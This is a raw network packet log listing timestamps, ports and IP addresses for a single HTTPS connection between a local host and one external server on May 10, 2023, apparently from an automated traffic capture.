May 10, 2023 02:21:17.777074099 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.777112961 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.777127028 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.777151108 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.783199072 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.783267021 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.783298016 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.783314943 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.783334970 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.788877964 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.788944960 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.789011955 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.789048910 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.789068937 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.789248943 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.789309025 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.789314032 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.789335012 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.789376020 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.789727926 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.789784908 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.789800882 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.789824963 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.789849997 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.790220976 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.790282965 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.790299892 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.790318012 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.790335894 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.790694952 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.790750027 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.790785074 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.790811062 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.790832996 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.791182995 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.791244030 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.791261911 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.791284084 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.791306973 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.791676998 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.791732073 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.791753054 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.791769981 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.791804075 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.792157888 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.792221069 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.792233944 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.792248964 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.792284012 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.792618036 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.792669058 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.792717934 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.792732000 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.792763948 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.799417973 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.799484015 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.799567938 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.799612999 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.799643040 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.800276041 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.800339937 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.800375938 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.800400972 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.800432920 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.806035042 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.806097984 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.806154966 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.806184053 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.806205988 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.815849066 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.815958023 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.815979958 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.816010952 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.816072941 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.816251040 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.816344023 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.816366911 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.816407919 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.816488981 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.816505909 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.816745996 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.816831112 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.816836119 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.816869974 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.816915989 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.817162991 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.817265987 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.817274094 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.817302942 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.817363024 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.817584991 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.817672014 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.817687988 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.817714930 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.817773104 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.818001986 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.818087101 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.818104982 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.818131924 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.818186045 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.818425894 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.818466902 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.818490028 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.818521023 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.818523884 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.818603039 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.818622112 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.818789005 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.818871975 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.818892002 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.818933010 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.819017887 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.819036961 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.819133997 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.819216013 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.819236040 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.819267035 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.819345951 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.819370031 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.819416046 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.822334051 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.822423935 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.822437048 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.822460890 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.822514057 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.822686911 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.822827101 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.822863102 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.822885990 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.822916031 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.841484070 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.841593981 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.841659069 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.841720104 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.841798067 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.841826916 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.841907024 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.841914892 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.841980934 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842035055 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.842108011 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842192888 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.842195988 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842226982 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842427015 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842430115 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.842457056 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842509985 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.842530966 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842619896 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.842648983 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842724085 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842801094 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.842813969 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842838049 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.842894077 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.843065023 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.843138933 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.843139887 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.843164921 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.843213081 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.843458891 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.843533993 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.843545914 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.843571901 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.843619108 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.843830109 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.843913078 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.843915939 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.843945026 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.843995094 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.844221115 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.844293118 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.844305992 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.844329119 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.844378948 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.844585896 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.844654083 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.844661951 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.844686985 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.844741106 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.845439911 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.845523119 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.845527887 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.845552921 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.845603943 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.845730066 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.845802069 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.845807076 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.845834017 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.845882893 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.867331982 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.867454052 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.867568970 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.867644072 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.867686033 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.867698908 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.867737055 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.867791891 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.867820024 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.867846966 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.868098974 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.868160009 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.868205070 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.868227959 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.868299007 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.868525028 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.868573904 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.868613005 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.868634939 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.868664980 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.868949890 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.869008064 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.869040966 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.869062901 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.869106054 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.869369030 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.869417906 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.869430065 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.869441986 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.869468927 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.869697094 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.869750977 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.869756937 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.869781017 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.869812965 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.869978905 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.870028019 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.870031118 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.870050907 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.870089054 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.870413065 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.870462894 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.870471954 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.870487928 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.870510101 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.870753050 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.870805979 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.870809078 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.870827913 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.870865107 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.871087074 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.871156931 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.871171951 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.871187925 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.871222973 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.874358892 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.874423981 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.874473095 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.874495983 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.874525070 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.894210100 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.894258022 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.894342899 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.894342899 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.894382000 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.894403934 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.894419909 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.894431114 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.894449949 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.894459009 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.894484043 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.894509077 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.895663977 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.895708084 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.895785093 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.895803928 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.895848989 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.895853043 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.895867109 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.895903111 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.895906925 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.895956039 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.895967007 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896085978 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896090031 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896101952 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896135092 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896150112 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896162033 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896181107 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896200895 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896300077 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896347046 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896353006 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896364927 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896394968 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896414995 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896522999 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896559954 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896578074 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896589041 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896605015 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896622896 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896795988 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896830082 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896847010 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896858931 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.896876097 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.896902084 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897038937 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897078991 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897098064 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897109032 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897164106 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897249937 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897294998 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897301912 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897313118 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897339106 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897358894 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897471905 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897504091 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897511959 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897527933 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897538900 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897559881 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897581100 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897732973 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897747040 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897769928 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897787094 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897798061 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.897829056 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.897840977 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.898098946 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.917176962 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.917221069 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.917298079 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.917325020 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.917346954 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.917371988 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.917395115 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.917438984 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.917469978 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.917479992 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.917491913 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.917542934 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.920861959 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.920901060 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.920944929 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.920958042 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.920985937 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.921005964 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.921331882 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.921371937 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.921402931 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.921413898 CEST	443	49703	116.203.249.172	192.168.2.3
